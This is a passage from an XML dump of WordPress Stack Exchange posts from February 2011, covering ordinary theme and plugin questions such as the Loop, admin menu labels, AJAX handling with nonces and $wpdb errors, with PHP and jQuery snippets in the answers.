class=&quot;block-3 border-top&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;Other_Work&quot;, true); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Start the main loop&#xA;            if ( have_posts() ) while ( have_posts() ) : the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-4 border-top&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;        &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar('secondary'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-12T21:37:32.240" LastActivityDate="2011-02-12T21:37:32.240" Title="Why is previous_post_link and next_post_link working outside of the Loop?" Tags="&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="1" />
  <row Id="9218" PostTypeId="2" ParentId="9217" CreationDate="2011-02-12T21:22:44.670" Score="2" ViewCount="" Body="&lt;p&gt;&quot;Inside the Loop&quot; essentially means that function relies on data from global variables (such as &lt;code&gt;$post&lt;/code&gt;) that are set up when Loop runs. Note that this is not necessarily done by main Loop of &lt;code&gt;query_posts()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your specific code those variables are filled by &lt;code&gt;$custom_posts-&amp;gt;the_post()&lt;/code&gt; calls and after that &lt;code&gt;wp_reset_query()&lt;/code&gt; gets those values back to initial state.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-12T21:22:44.670" CommentCount="2" />
  <row Id="9219" PostTypeId="1" AcceptedAnswerId="9459" CreationDate="2011-02-12T21:34:53.210" Score="1" ViewCount="89" Body="&lt;p&gt;Is there a server-side email solution that will allow users to subscribe to updates via email and, specifically, also be able to do this by category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of Aweber and Feedburner being able to provide this kind of functionality, but my client has requested this as a server-side solution, with a database on-site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-02-16T00:50:50.927" Title="Server-side subscribe by email?" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;email&gt;&lt;feed&gt;&lt;subscription&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9220" PostTypeId="2" ParentId="6023" CreationDate="2011-02-12T21:50:50.160" Score="0" ViewCount="" Body="&lt;p&gt;I found a great page that give numerous downloadable examples of how to change the text inside an anchor using  jQuery.  They are really helpful for web 2.0 and web 3.0 sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http://www.ajaxera.com/jquery-change-text-in-anchor/&lt;/p&gt;&#xA;" LastActivityDate="2011-02-12T21:50:50.160" />
  <row Id="9221" PostTypeId="2" ParentId="9209" CreationDate="2011-02-12T22:09:31.360" Score="2" ViewCount="" Body="&lt;p&gt;To answer your problems: &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sorting by post count&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can collect all the information you need in to an array and sort that array by number of posts , like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //function to sort array by filed&#xA;    function authors_orderBy($data, $field){&#xA;       $code = &quot;if (\$a['$field'] == \$b['$field']) {return 0;} return (\$a['$field'] &amp;lt; \$b['$field']) ? 1 : -1;&quot;;&#xA;       usort($data, create_function('$a,$b', $code));&#xA;       return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then change your code a bit like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $blogusers = get_users_of_blog();&#xA;        if ($blogusers) {&#xA;            $au = array();&#xA;            foreach ($blogusers as $bloguser) {&#xA;               $user = get_userdata($bloguser-&amp;gt;user_id);&#xA;               $post_count = count_user_posts($user-&amp;gt;ID);&#xA;               $au[] = array('user_id' =&amp;gt; $user-&amp;gt;ID , 'nicename' =&amp;gt; $user-&amp;gt;user_nicename, 'display_name' =&amp;gt; $user-&amp;gt;display_name, 'email' =&amp;gt; $user-&amp;gt;user_email ,'post_count' =&amp;gt; $post_count);&#xA;            }&#xA;&#xA;            //Sort array&#xA;            $au = authors_orderBy($au, 'post_count');&#xA;&#xA;           //then loop through the authors&#xA;           foreach ($au as $aut){&#xA;             if ($aut['post_count'] &amp;gt; 0) {&#xA;                echo '&amp;lt;li&amp;gt;';&#xA;                echo '&amp;lt;a href=&quot;'.get_bloginfo('url').'/author/' . $aut['nicename'] . '&quot;&amp;gt;'.get_avatar($aut['email'], '36').'&amp;lt;/a&amp;gt;';&#xA;                echo '&amp;lt;a href=&quot;'.get_bloginfo('url').'/author/' . $aut['nicename'] . '&quot;&amp;gt;'.$aut['display_name'] .' ('.$aut['post_count'].')&amp;lt;/a&amp;gt;&amp;lt;li&amp;gt;';&#xA;             }&#xA;           }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;get_users_of_blog is a depreciated&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's weird because looking at the codex Yes this function is  depreciated and you should use &lt;code&gt;get_users()&lt;/code&gt; which should be shipped with Version 3.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     /**&#xA;     * Retrieve list of users matching criteria.&#xA;     *&#xA;     * @since 3.1.0&#xA;     * @uses $wpdb&#xA;     * @uses WP_User_Query See for default arguments and information.&#xA;     *&#xA;     * @param array $args&#xA;     * @return array List of users.&#xA;     */&#xA;    function get_users( $args ) {&#xA;&#xA;            $args = wp_parse_args( $args );&#xA;            $args['count_total'] = false;&#xA;&#xA;            $user_search = new WP_User_Query($args);&#xA;&#xA;            return (array) $user_search-&amp;gt;get_results();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you look at wp_list_authors it uses get_users_of_blog() be itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-13T01:46:53.040" LastActivityDate="2011-02-13T01:46:53.040" CommentCount="4" />
  <row Id="9222" PostTypeId="2" ParentId="9211" CreationDate="2011-02-12T22:25:36.807" Score="0" ViewCount="" Body="&lt;p&gt;You might want to look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2331/sort-admin-menu-items&quot;&gt;this question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the class they mention there on &lt;a href=&quot;https://gist.github.com/792b7aa5b695d1092520&quot; rel=&quot;nofollow&quot;&gt;gist&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which holds functions that you ara looking for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rename_admin_menu_section()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to rename for instance change Posts to Articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can remove the appearances menu and create you new top page menu item for &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-12T22:25:36.807" />
  <row Id="9223" PostTypeId="2" ParentId="9186" CreationDate="2011-02-12T22:45:03.880" Score="1" ViewCount="" Body="&lt;p&gt;I wrote this up a while ago, but should still be valid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ericmmartin.com/conditional-pagepost-navigation-links-in-wordpress-redux/&quot; rel=&quot;nofollow&quot;&gt;http://www.ericmmartin.com/conditional-pagepost-navigation-links-in-wordpress-redux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add the following function to your &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * If more than one page exists, return TRUE.&#xA; */&#xA;function show_posts_nav() {&#xA;    global $wp_query;&#xA;    return ($wp_query-&amp;gt;max_num_pages &amp;gt; 1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The update your code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (show_posts_nav()) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;next-posts&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;prev-posts&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2651" LastActivityDate="2011-02-12T22:45:03.880" />
  <row Id="9224" PostTypeId="2" ParentId="9211" CreationDate="2011-02-12T23:59:05.610" Score="5" ViewCount="" Body="&lt;p&gt;Here's the process to change the labels (I changed posts to &quot;contacts&quot; in my example)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_post_menu_label() {&#xA;    global $menu;&#xA;    global $submenu;&#xA;    $menu[5][0] = 'Contacts';&#xA;    $submenu['edit.php'][5][0] = 'Contacts';&#xA;    $submenu['edit.php'][10][0] = 'Add Contacts';&#xA;    $submenu['edit.php'][15][0] = 'Status'; // Change name for categories&#xA;    $submenu['edit.php'][16][0] = 'Labels'; // Change name for tags&#xA;    echo '';&#xA;}&#xA;&#xA;function change_post_object_label() {&#xA;        global $wp_post_types;&#xA;        $labels = &amp;amp;$wp_post_types['post']-&amp;gt;labels;&#xA;        $labels-&amp;gt;name = 'Contacts';&#xA;        $labels-&amp;gt;singular_name = 'Contact';&#xA;        $labels-&amp;gt;add_new = 'Add Contact';&#xA;        $labels-&amp;gt;add_new_item = 'Add Contact';&#xA;        $labels-&amp;gt;edit_item = 'Edit Contacts';&#xA;        $labels-&amp;gt;new_item = 'Contact';&#xA;        $labels-&amp;gt;view_item = 'View Contact';&#xA;        $labels-&amp;gt;search_items = 'Search Contacts';&#xA;        $labels-&amp;gt;not_found = 'No Contacts found';&#xA;        $labels-&amp;gt;not_found_in_trash = 'No Contacts found in Trash';&#xA;    }&#xA;    add_action( 'init', 'change_post_object_label' );&#xA;    add_action( 'admin_menu', 'change_post_menu_label' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change the menu order, go with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOMIZE ADMIN MENU ORDER&#xA;   function custom_menu_order($menu_ord) {&#xA;       if (!$menu_ord) return true;&#xA;       return array(&#xA;        'index.php', // this represents the dashboard link&#xA;        'edit.php', //the posts tab&#xA;        'upload.php', // the media manager&#xA;        'edit.php?post_type=page', //the posts tab&#xA;    );&#xA;   }&#xA;   add_filter('custom_menu_order', 'custom_menu_order');&#xA;   add_filter('menu_order', 'custom_menu_order');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've got code to remove items, but it's globally and not based on user access level&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-02-12T23:59:05.610" CommentCount="3" />
  <row Id="9225" PostTypeId="2" ParentId="9192" CreationDate="2011-02-13T00:25:00.827" Score="0" ViewCount="" Body="&lt;p&gt;jiewmeng - The page that you created as your home page should be identified as the home page under the &lt;strong&gt;Dashboard--&gt;Settings--&gt;Reading&lt;/strong&gt;.  Your blog page should be identified there as well under &quot;Posts Page&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now create the menu.  Your screen shot only shows an &quot;About&quot; page.  If you had/have created additional pages, select them and click the add to menu button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, any categories you wish to add to the menu can be selected and then added to the menu.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-02-13T00:25:00.827" />
  <row Id="9227" PostTypeId="5" CreationDate="2011-02-13T01:09:16.230" Score="0" ViewCount="" Body="&lt;p&gt;Redirection is just simply like asking a question and then getting a question as an answer - while still looking for the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real world this can be pretty dis-satisfactorily, but in the age of personal computers and hypertext (WWW) it's just something that happens behind the curtain (and often bugs us when we need to solve technical problems as nowadays this is all automatic (&quot;automatic redirect&quot;) or with other words, all that happens transparently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Redirect:&lt;/strong&gt; An internet address is replaced with another one and we don't need to press a single key for that.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T01:09:16.230" LastActivityDate="2011-02-13T01:09:16.230" />
  <row Id="9228" PostTypeId="4" CreationDate="2011-02-13T01:09:16.230" Score="0" ViewCount="" Body="This tag stands for &quot;HTTP Redirection&quot; or similar principles." OwnerUserId="-1" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T01:09:16.230" LastActivityDate="2011-02-13T01:09:16.230" />
  <row Id="9229" PostTypeId="5" CreationDate="2011-02-13T01:12:00.660" Score="0" ViewCount="" Body="&lt;p&gt;A database &quot;abstraction layer&quot; (about 7 years or so ago probably a valid term, with full respect, today we know it's not), picked up early by the wordpress project and used since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally it was named &lt;a href=&quot;http://www.phpclasses.org/package/790-PHP-Makes-using-mySQL-ridiculously-easy-great-docs-.html&quot; rel=&quot;nofollow&quot;&gt;ezSQL&lt;/a&gt;/mysqldb and it has been taken to create the &lt;strong&gt;WPDB&lt;/strong&gt; derivate out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since today Wordress is limited by default not only to MySQL but also to use an &lt;a href=&quot;http://www.php.net/manual/en/mysqli.overview.php&quot; rel=&quot;nofollow&quot;&gt;non-recommended PHP API&lt;/a&gt; to access the database because of PHP 4 compatibility.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T16:49:24.003" LastActivityDate="2011-02-13T16:49:24.003" />
  <row Id="9230" PostTypeId="4" CreationDate="2011-02-13T01:12:00.660" Score="0" ViewCount="" Body="WP = WordPress &amp; DB = Data-Base" OwnerUserId="-1" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T01:12:00.660" LastActivityDate="2011-02-13T01:12:00.660" />
  <row Id="9231" PostTypeId="1" AcceptedAnswerId="9236" CreationDate="2011-02-13T01:32:12.633" Score="9" ViewCount="448" Body="&lt;p&gt;I'm wondering what the preferred method is for dealing with AJAX calls. Should one use the same plugin php file to process the POST or a separate one? Which is cleaner or safer?&lt;/p&gt;&#xA;" OwnerUserId="2840" LastActivityDate="2011-08-16T03:01:37.517" Title="What's the preferred method of writing AJAX-enabled plugins?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;ajax&gt;" AnswerCount="1" FavoriteCount="6" />
  <row Id="9232" PostTypeId="1" CreationDate="2011-02-13T01:39:30.663" Score="0" ViewCount="176" Body="&lt;p&gt;I hope I will make sense, and if you have a better suggestion please let me know. I am just starting WordPress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to layout my theme such that I get 3 sticky, not more than 1 month old, or latest posts at the top. Then render the rest of the posts latest 1st below. A picture (below) will explain better I hope. I think I will need custom queries, how might I achieve that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgur.com/dK2vt.jpg&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://imgur.com/dK2vt.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2011-02-13T01:45:32.163" LastActivityDate="2011-02-22T14:15:38.107" Title="How to create query to get top 3 sticky/latest posts" Tags="&lt;theme-development&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="9233" PostTypeId="1" CreationDate="2011-02-13T01:52:55.260" Score="1" ViewCount="493" Body="&lt;p&gt;I have a list of the most recent post titles in &lt;code&gt;sidebar.php&lt;/code&gt;. Here is an example of how that code looks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array('posts_per_page' =&amp;gt; 20); ?&amp;gt;&#xA;&amp;lt;?php $sidebar = new WP_Query($args); ?&amp;gt;&#xA;&amp;lt;?php if ( $sidebar-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;&amp;lt;?php while ( $sidebar-&amp;gt;have_posts() ) : $sidebar-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;story&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;?php the_title(); ?&amp;gt; - &amp;lt;?php the_time(&quot;F j, Y h:i A&quot;); ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That part works perfectly. It displays the 20 latest post titles and post times wrapped in permalinks. However, I am trying to do a bit more. I want to create a load more button at the bottom to fetch the next 20 post titles. I know my jQuery and that is not the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help with figuring out how to create a custom loop in a new custom &lt;code&gt;.php&lt;/code&gt; template file that only generates the html above. That file needs to be able to accept a parameter for a page number, so that my &lt;code&gt;javascript&lt;/code&gt; can fetch an incremented URL each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2011-02-13T13:36:02.697" Title="How can I fetch loop of post titles via AJAX?" Tags="&lt;php&gt;&lt;jquery&gt;&lt;loop&gt;&lt;ajax&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="9234" PostTypeId="2" ParentId="9219" CreationDate="2011-02-13T01:55:41.263" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2&lt;/a&gt; plugin that provides a comprehensive subscription management and email notification system for WordPress blogs that sends email notifications to a list of subscribers when you publish new content to your blog and each user can select which categories he wants to get notifications from.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-13T01:55:41.263" CommentCount="1" />
  <row Id="9235" PostTypeId="2" ParentId="9232" CreationDate="2011-02-13T02:08:21.077" Score="1" ViewCount="" Body="&lt;p&gt;If you're familiar with ZF you might be looking for models and layouts, both which you need to manually code with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you do so, you've got full possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So feel free to create multiple template files and load them when it's needed (e.g by hooking into template redirect or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;get_template_part&lt;/a&gt;) and then just &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query&lt;/a&gt; what you feel you need for (with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;WPDB&lt;/a&gt; you can fire up any SQL query you need the blog's MySQL server credentials for).&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T10:51:04.773" LastActivityDate="2011-02-13T10:51:04.773" CommentCount="2" />
  <row Id="9236" PostTypeId="2" ParentId="9231" CreationDate="2011-02-13T02:14:06.000" Score="10" ViewCount="" Body="&lt;p&gt;the &quot;safer and cleaner&quot; way would be to use admin-ajax.php that comes with wordpress and &lt;code&gt;wp_ajax&lt;/code&gt; hook to call you processing function from your plugin file and use wp-nonce to check the integrity of the call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your ajax JQuery call would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;&#xA;    var data = {&#xA;        action: 'ACTION_NAME',&#xA;            Whatever: '1234',&#xA;            _ajax_nonce: '&amp;lt;?php echo wp_create_nonce( 'my_ajax_nonce' ); ?&amp;gt;'&#xA;&#xA;    };&#xA;&#xA;    // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php&#xA;    // If you need it on a public facing page, uncomment the following line:&#xA;    // var ajaxurl = '&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;';&#xA;    jQuery.post(ajaxurl, data, function(response) {&#xA;        alert('Got this from the server: ' + response);&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the in your plugin file add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if you want only logged in users to access this function use this hook&#xA;add_action('wp_ajax_ACTION_NAME', 'my_AJAX_processing_function');&#xA;&#xA;//if you want none logged in users to access this function use this hook&#xA;add_action('wp_ajax_nopriv_ACTION_NAME', 'my_AJAX_processing_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*if you want logged in users and guests to access your function by ajax the add both hooks.&#xA;&lt;strong&gt;*ACTION_NAME&lt;/strong&gt; must match the action value in your ajax POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in your function just make sure the request came from valid source&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_AJAX_processing_function(){&#xA;   check_ajax_referer('my_ajax_nonce');&#xA;   //do stuff here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-16T03:01:37.517" LastActivityDate="2011-08-16T03:01:37.517" CommentCount="2" />
  <row Id="9237" PostTypeId="1" AcceptedAnswerId="9262" CreationDate="2011-02-13T03:06:49.627" Score="0" ViewCount="205" Body="&lt;p&gt;We are currently in development on a new site. Categories (&amp;amp; tags) are pretty much meaningless for us because we've implemented custom posts &amp;amp; taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, because I have enabled pretty permalinks, if I create a post titled, &quot;Mubarak steps down&quot; without selecting a category, Wordpress will give me this: domain.com/uncategorized/mubarak-steps-down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, I installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-permalinks/&quot; rel=&quot;nofollow&quot;&gt;custom permalinks plugin&lt;/a&gt; which enables me to make the permalink virtually anything I want. I have a custom taxonomy called countries and one of the terms is Egypt so I re-wrote the above permalink to be domain.com/countries/egypt/mubarak-steps-down. domain.com/egypt/mubarak-steps-down would be better but there's nothing there &amp;amp; writing a re-direct for all countries would be a major pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pros, as I see them, in doing this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A reader may realize that by removing the post title and re-submitting the url in the browser that they will see more content on the parent subject most relevant to the individual post, in this case, Egypt. Of course, this can also be done by making a link to the Egypt section on the page easy to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I think* it could be an effective white hat SEO strategy for communicating something more relevant in the url than 'uncategorized' or something else generic like 'events' or 'news.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the pros and cons of doing this with respect to WP database performance, etc.?&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-13T15:33:51.277" LastActivityDate="2011-02-13T15:33:51.277" Title="Pros and cons of using [taxonomy name] in place of [category name]?" Tags="&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;performance&gt;&lt;seo&gt;&lt;plugin-custom-permalinks&gt;" AnswerCount="1" />
  <row Id="9238" PostTypeId="1" CreationDate="2011-02-13T04:54:20.277" Score="0" ViewCount="74" Body="&lt;p&gt;Does anyone have any experience with running &lt;a href=&quot;http://powazek.com/posts/1182&quot; rel=&quot;nofollow&quot;&gt;DePo Masthead&lt;/a&gt; in WP3+?  I'm thinking of changing the theme on my &lt;a href=&quot;http://chasrmartin.com&quot; rel=&quot;nofollow&quot;&gt;personal site&lt;/a&gt; and &lt;a href=&quot;http://explorations.chasrmartin.com&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3115" LastActivityDate="2011-08-13T15:23:29.803" Title="Using DePo Masthead with WP 3+" Tags="&lt;themes&gt;&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="9239" PostTypeId="1" CreationDate="2011-02-13T07:45:18.917" Score="0" ViewCount="686" Body="&lt;p&gt;I am trying to utilize this function.  I cannot figure out why I am still getting the PHP error.  All I can figure out is that for some reason the template isn't able to access $wpdb.  I don't know what line needs to be placed in the functions.php (in theme folder) file that contains this function.  Please help me!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function submitWeightUpdate( $userid, $weight ) {&#xA;    global $wpdb;&#xA;&#xA;    $result = $wpdb-&amp;gt;insert( 'wp_weights', array( 'user_id' =&amp;gt; $userid, 'current_weight' =&amp;gt; $weight ), array( '%d', '%d' ) );&#xA;&#xA;    if (empty($_POST['weight'])) {&#xA;        $return['error'] = true;&#xA;        $return['msg'] = 'You did not enter a weight.';&#xA;    }&#xA;    else {&#xA;        $return['error'] = false;&#xA;        $return['msg'] = 'You\'ve entered: ' . $weight . ' as your new weight.';&#xA;    }&#xA;&#xA;    echo json_encode($return);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried setting the theme to the default one and it still won't work, so I have no idea what could be wrong with it!&lt;/p&gt;&#xA;" OwnerUserId="3118" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-15T01:50:16.160" LastActivityDate="2011-02-15T01:50:16.160" Title="Get PHP Fatal error on globalized $wpdb: Call to a member function insert() on a non-object- I have no clue. What to do?" Tags="&lt;php&gt;&lt;errors&gt;&lt;coding&gt;&lt;debug&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="9240" PostTypeId="1" CreationDate="2011-02-13T08:34:07.280" Score="0" ViewCount="158" Body="&lt;p&gt;I'm putting to getter a landing page theme in WP. On the start page of the theme there should be three different boxes of text, where I can describe the product. The thing is that this boxes should be static and not be included in a blog role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the most common scenario is that I only add the text once to this three different boxes. Maybe you think now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why don't you just hard code the information in a templete file and add this as the standard showing up when surfing to the site?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And thats a good question, but I wan't to make it more fancy, being able to add OR edit the information in this three boxes from the admin section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought this could be easily made by &quot;Custom post types&quot;. But with this it is just posts/pages under another name, like Movies. And you can add a lot of different movies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a clean page with three different textareas which control the three different boxes of text on my start page, all done from the admin area. With the ability to edit the text from the same view in the admin section. How can I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/ Fredrik&lt;/p&gt;&#xA;" OwnerUserId="3119" LastActivityDate="2011-02-13T12:21:04.810" Title="Create &quot;static&quot; textareas controlled from admin section, how?" Tags="&lt;static-website&gt;" AnswerCount="2" />
